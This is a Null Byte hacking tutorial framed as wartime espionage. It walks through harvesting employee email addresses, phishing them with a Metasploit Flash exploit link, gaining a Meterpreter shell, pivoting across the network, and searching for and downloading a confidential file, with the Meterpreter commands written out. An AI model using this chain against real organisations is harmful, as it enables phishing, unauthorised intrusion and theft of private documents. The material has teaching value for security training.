Hack Like a Pro: How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents) « Null Byte :: WonderHowTo

Welcome back, my tenderfoot hackers!A short while ago, I started a new series called "How to Spy on Anyone." The idea behind this series is that computer hacking is increasingly being used in espionage and cyber warfare, as well as by private detectives and law enforcement to solve cases. I am trying to demonstrate, in this series, ways that hacking is being used in these professions. For those of you who are training for those careers, I dedicate this series.In some cases, when we are charged with spying on a suspect, we want to be able to go into their computer, look around, and download files or other documents that might be confidential, useful to a nation or cause, or might be used in a prosecution. In the world of cyber warfare, these might be strategic plans, communiqués, weapon assessments, etc.In this tutorial, we will hack into our enemy's computers and look for secret documents that might indicate their future war plans that may compromise the sovereign integrity of our nation. We think that our adversary is secretly sneaking soldiers and intelligence agents into our country and claiming that they are freedom fighters. (Sound familiar?)Our task is to hack into their military leaders computers and find evidence that these freedom fighters are actually soldiers and agents of our adversarial, but very powerful neighbor. Not only must we find the information, but we must download a copy so that we we can show our leaders, and maybe the world, the evidence of their malevolent intentions and actions.Our strategy will be to attempt to compromise someone's computer at headquarters—anyone's. Once we have compromised their computer, we can thenpivotfrom there to any computer on the network and then search for confidential files and, if we find any, transfer them back to our computer.Let's get started on this critical and dangerous task to our nation's survival!Step 1: Set Our Exploit StrategyAs we saw earlier,Adobe Flash Playeris among the most vulnerable applications on nearly everyone's computer. If you using a browser, you probably have Adobe's Flash Player on your computer. This makes it averyattractive target.Inan earlier tutorial, I showed how we can exploit Adobe Flash Player on nearly every computer with Internet Explorer 6-11 with Flash 11-13 on Windows XP SP3, Windows 7 SP1, and Windows 8. That's a pretty broad brush of targets. Perfect for this job!The only drawback is that we need to get someone to click on a malicious link. Although everyone is warned not to, people still do so every day when they receive an email from someone they think they know, or even if the email sounds compelling enough. Even you may have done so.Step 2: Harvest Email AddressesWe only need one person at the headquarters to click on our link to take down the entire network. As our first step, let's gather email addresses from headquarters using Maltego. To learn how to use Maltego to harvest email addresses,check out this tutorial.Step 3: Send the Email with the LinkNow, that we have the emails of employees at our enemy's headquarters, let's generate the malicious code inMetasploitand launch our server with the code. To learn how to use this exploit, check outthis tutorial.Now that our server is up with the malicious code, let's send emails with this link to all the employees we found with Maltego.Step 4: Now...WaitSometimes the best advice is simply to be patient. We sent out the emails to all the employees at headquarters and now we simply need to be patient and wait for someone to click on the link we sent.Step 5: Success!We waited nearly 48 hours, but finally—success! Someone clicked on our link and we have aMeterpretershell on their system!Step 6: Pivot Through the NetworkNow that we own one machine on the network, we can do anARP scanto find every other machine on the network. This will give us the IP address and MAC address of every machine on this network.meterpreter > run arp_scan -r 192.168.1.0/24Next, we can pivot so that we can access all the systems on the network. To learn how to pivot to the entire network, justcheck out this tutorial.Step 7: Look AroundSince we only found two systems on this network, let's look inside the machine we compromised first before going on to the others. We know the document we are looking for is likely named "war strategy." We can search the entire hard drive of the compromised system by using the search command built into the Meterpreter.meterpreter > search -f "war strategy.txt"Great ! We found it in the directory c:\confidential !Step 8: DownloadNow that we have the document we are looking for, let's download it from the target's computer to ours.meterpreter > download c:\\confidential\\"war strategy.txt"Finally, let's check to see whether the file arrived at our system. The Meterpreter will send the file to the last working directory where we invoked themsfconsole. In this case, it was/root. So, let's go back toour Kali system, open a terminal and navigate to/root, and see whether the "war strategy.txt" file has arrived.kali > cd /rootkali> ls -lThere it is! Success!We now have the file that lays out our enemy's war strategy and may be critical to saving our nation from invasion and subordination to our most hated neighbor and adversary!Keep coming back, my tenderfoot hackers, as we master the fine arts of hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)Hack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)News:The 5 Best Apps for Scanning Text & Documents on AndroidHow To:Force Switch to T-Mobile or Sprint on Project FiNews:Drama Amongst the Driverless—Did Waymo Unnecessarily Drag Uber into Its Lawsuit?News:Some of the World's Most Notorious Hackers Got HackedNews:Microsoft FCC Filing Hints That the Wait for HoloLens 2 Is Almost OverThe Hacks of Mr. Robot:How to Spy on Anyone's Smartphone ActivityNews:Magic Leap Takes Nreal to Court Over Trade Secrets TheftHow To:Enable commenting in Adobe Reader on Acrobat 9 ProNews:Uber Admits to Finding Stolen Waymo Document on Employee DeviceHow To:Use Gmail's New Confidential Mode to Send Private, Self-Destructing Emails from Your PhoneHow To:Collaborate on Pages Documents with Friends & ColleaguesNews:Whoops! Feds Accidentally Reveal Snowden as Their Email Spy TargetHow To:Turn Your iPhone into a Spy Camera Using Your Apple WatchNews:Hackers Can Remotely Set HP Printers on Fire: Is Yours Vulnerable?How To:Send documents for review by email in Acrobat 9 ProNews:What REALLY Happened with the Juniper Networks Hack?How To:Protect MS Word Document with PasswordHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:Permanently Erase Data So That It Cannot be RecoveredHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Keep Your Computer Organized in Windows 7How To:Automatically Organize Your Torrents with Batch ScriptingNews:Army Admits Re-Education Camp Manual “Not Intended For Public Release”How To:Play Spy!News:Bump-TOP " The Ingenious 3D True DESK<<<TOP Experience "Hack Like a Pro:Creating Your Own Prism ProgramReel Moments:Make Time-Lapse Video on Your iPhone in Just a Few ClicksNews:CloudOn Is Back, Plus 4 More iPad Apps for Working with Microsoft Office DocsNews:Camino de Santiago FilmHow To:The Official Google+ Insider's Guide IndexNews:Indie Game Mashup! DTIPBIJAYS + LSQOM = Scorpion Psychiatrists of SaturnHow To:Safely Share Files OnlineApple's iCloud:What You Should KnowNull Byte:Never Let Us DieNews:3 Long Awaited Indie Games at PAX That Should Be Released Already!Camera Plus Pro:The iPhone Camera App That Does it All